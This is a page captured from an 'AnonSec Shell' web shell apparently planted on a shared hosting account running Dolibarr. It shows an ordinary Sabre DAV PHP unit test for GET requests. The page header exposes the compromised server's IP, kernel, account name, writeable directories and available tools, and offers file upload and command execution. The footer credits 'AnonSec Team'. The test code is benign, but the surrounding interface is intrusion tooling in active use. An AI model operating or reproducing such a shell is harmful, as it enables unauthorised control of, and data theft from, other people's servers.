AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/dav/tests/Sabre/DAV/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/dav/tests/Sabre/DAV/HttpGetTest.php
<?php

namespace Sabre\DAV;

use Sabre\DAVServerTest;
use Sabre\HTTP;

/**
 * Tests related to the GET request.
 *
 * @copyright Copyright (C) fruux GmbH (https://fruux.com/)
 * @author Evert Pot (http://evertpot.com/)
 * @license http://sabre.io/license/ Modified BSD License
 */
class HttpGetTest extends DAVServerTest {

    /**
     * Sets up the DAV tree.
     *
     * @return void
     */
    function setUpTree() {

        $this->tree = new Mock\Collection('root', [
            'file1' => 'foo',
            new Mock\Collection('dir', []),
            new Mock\StreamingFile('streaming', 'stream')
        ]);

    }

    function testGet() {

        $request = new HTTP\Request('GET', '/file1');
        $response = $this->request($request);

        $this->assertEquals(200, $response->getStatus());

        // Removing Last-Modified because it keeps changing.
        $response->removeHeader('Last-Modified');

        $this->assertEquals(
            [
                'X-Sabre-Version' => [Version::VERSION],
                'Content-Type'    => ['application/octet-stream'],
                'Content-Length'  => [3],
                'ETag'            => ['"' . md5('foo') . '"'],
            ],
            $response->getHeaders()
        );

        $this->assertEquals('foo', $response->getBodyAsString());

    }

    function testGetHttp10() {

        $request = new HTTP\Request('GET', '/file1');
        $request->setHttpVersion('1.0');
        $response = $this->request($request);

        $this->assertEquals(200, $response->getStatus());

        // Removing Last-Modified because it keeps changing.
        $response->removeHeader('Last-Modified');

        $this->assertEquals(
            [
                'X-Sabre-Version' => [Version::VERSION],
                'Content-Type'    => ['application/octet-stream'],
                'Content-Length'  => [3],
                'ETag'            => ['"' . md5('foo') . '"'],
            ],
            $response->getHeaders()
        );

        $this->assertEquals('1.0', $response->getHttpVersion());

        $this->assertEquals('foo', $response->getBodyAsString());

    }

    function testGet404() {

        $request = new HTTP\Request('GET', '/notfound');
        $response = $this->request($request);

        $this->assertEquals(404, $response->getStatus());

    }

    function testGet404_aswell() {

        $request = new HTTP\Request('GET', '/file1/subfile');
        $response = $this->request($request);

        $this->assertEquals(404, $response->getStatus());

    }

    /**
     * We automatically normalize double slashes.
     */
    function testGetDoubleSlash() {

        $request = new HTTP\Request('GET', '//file1');
        $response = $this->request($request);

        $this->assertEquals(200, $response->getStatus());

        // Removing Last-Modified because it keeps changing.
        $response->removeHeader('Last-Modified');

        $this->assertEquals(
            [
                'X-Sabre-Version' => [Version::VERSION],
                'Content-Type'    => ['application/octet-stream'],
                'Content-Length'  => [3],
                'ETag'            => ['"' . md5('foo') . '"'],
            ],
            $response->getHeaders()
        );

        $this->assertEquals('foo', $response->getBodyAsString());

    }

    function testGetCollection() {

        $request = new HTTP\Request('GET', '/dir');
        $response = $this->request($request);

        $this->assertEquals(501, $response->getStatus());

    }

    function testGetStreaming() {

        $request = new HTTP\Request('GET', '/streaming');
        $response = $this->request($request);

        $this->assertEquals(200, $response->getStatus());

        // Removing Last-Modified because it keeps changing.
        $response->removeHeader('Last-Modified');

        $this->assertEquals(
            [
                'X-Sabre-Version' => [Version::VERSION],
                'Content-Type'    => ['application/octet-stream'],
            ],
            $response->getHeaders()
        );

        $this->assertEquals('stream', $response->getBodyAsString());

    }
}

Anon7 - 2022
AnonSec Team